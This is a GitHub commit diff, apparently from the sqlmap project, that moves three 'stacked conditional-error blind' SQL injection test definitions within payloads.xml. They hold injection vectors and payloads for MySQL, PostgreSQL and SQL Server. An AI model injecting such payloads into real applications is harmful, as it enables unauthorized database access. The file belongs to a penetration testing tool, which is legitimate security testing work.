Skip to content

Commit b0dc6c2

Browse files
bdamelebdamele
committed
Moved
1 parent 6cc69f5 commit b0dc6c2

1 file changed

Lines changed: 64 additions & 64 deletions

File tree

‎xml/payloads.xml‎

Lines changed: 64 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -805,6 +805,70 @@ Formats:
805805
<!-- End of boolean-based blind tests - GROUP BY and ORDER BY clauses -->
806806

807807

808+
<!-- Stacked conditional-error blind queries tests -->
809+
<test>
810+
<title>MySQL stacked conditional-error blind queries</title>
811+
<stype>1</stype>
812+
<level>3</level>
813+
<risk>0</risk>
814+
<clause>0</clause>
815+
<where>1</where>
816+
<vector>; IF(([INFERENCE]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</vector>
817+
<request>
818+
<payload>; IF(([RANDNUM]=[RANDNUM]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</payload>
819+
<comment>#</comment>
820+
</request>
821+
<response>
822+
<comparison>; IF(([RANDNUM]=[RANDNUM1]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</comparison>
823+
</response>
824+
<details>
825+
<dbms>MySQL</dbms>
826+
</details>
827+
</test>
828+
829+
<test>
830+
<title>PostgreSQL stacked conditional-error blind queries</title>
831+
<stype>1</stype>
832+
<level>3</level>
833+
<risk>0</risk>
834+
<clause>0</clause>
835+
<where>2</where>
836+
<vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</vector>
837+
<request>
838+
<payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</payload>
839+
<comment>--</comment>
840+
</request>
841+
<response>
842+
<comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</comparison>
843+
</response>
844+
<details>
845+
<dbms>PostgreSQL</dbms>
846+
</details>
847+
</test>
848+
849+
<test>
850+
<title>Microsoft SQL Server/Sybase stacked conditional-error blind queries</title>
851+
<stype>1</stype>
852+
<level>3</level>
853+
<risk>0</risk>
854+
<clause>0</clause>
855+
<where>1</where>
856+
<vector>; IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</vector>
857+
<request>
858+
<payload>; IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</payload>
859+
<comment>--</comment>
860+
</request>
861+
<response>
862+
<comparison>; IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</comparison>
863+
</response>
864+
<details>
865+
<dbms>Microsoft SQL Server</dbms>
866+
<os>Windows</os>
867+
</details>
868+
</test>
869+
<!-- End of stacked conditional-error blind queries tests -->
870+
871+
808872
<!-- Error-based tests - WHERE or HAVING clause -->
809873
<test>
810874
<title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>
@@ -1580,70 +1644,6 @@ Formats:
15801644
<!-- End of stacked queries tests -->
15811645

15821646

1583-
<!-- Stacked conditional-error blind queries tests -->
1584-
<test>
1585-
<title>MySQL stacked conditional-error blind queries</title>
1586-
<stype>1</stype>
1587-
<level>3</level>
1588-
<risk>0</risk>
1589-
<clause>0</clause>
1590-
<where>1</where>
1591-
<vector>; IF(([INFERENCE]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</vector>
1592-
<request>
1593-
<payload>; IF(([RANDNUM]=[RANDNUM]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</payload>
1594-
<comment>#</comment>
1595-
</request>
1596-
<response>
1597-
<comparison>; IF(([RANDNUM]=[RANDNUM1]), SELECT [RANDNUM], DROP FUNCTION [RANDSTR]);</comparison>
1598-
</response>
1599-
<details>
1600-
<dbms>MySQL</dbms>
1601-
</details>
1602-
</test>
1603-
1604-
<test>
1605-
<title>PostgreSQL stacked conditional-error blind queries</title>
1606-
<stype>1</stype>
1607-
<level>3</level>
1608-
<risk>0</risk>
1609-
<clause>0</clause>
1610-
<where>2</where>
1611-
<vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</vector>
1612-
<request>
1613-
<payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</payload>
1614-
<comment>--</comment>
1615-
</request>
1616-
<response>
1617-
<comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</comparison>
1618-
</response>
1619-
<details>
1620-
<dbms>PostgreSQL</dbms>
1621-
</details>
1622-
</test>
1623-
1624-
<test>
1625-
<title>Microsoft SQL Server/Sybase stacked conditional-error blind queries</title>
1626-
<stype>1</stype>
1627-
<level>3</level>
1628-
<risk>0</risk>
1629-
<clause>0</clause>
1630-
<where>1</where>
1631-
<vector>; IF([INFERENCE]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</vector>
1632-
<request>
1633-
<payload>; IF([RANDNUM]=[RANDNUM]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</payload>
1634-
<comment>--</comment>
1635-
</request>
1636-
<response>
1637-
<comparison>; IF([RANDNUM]=[RANDNUM1]) SELECT [RANDNUM] ELSE DROP FUNCTION [RANDSTR];</comparison>
1638-
</response>
1639-
<details>
1640-
<dbms>Microsoft SQL Server</dbms>
1641-
<os>Windows</os>
1642-
</details>
1643-
</test>
1644-
<!-- End of stacked conditional-error blind queries tests -->
1645-
1646-
16471647
<!-- AND time-based blind tests -->
16481648
<test>
16491649
<title>MySQL &gt; 5.0.11 AND time-based blind</title>

0 commit comments

Comments
 (0)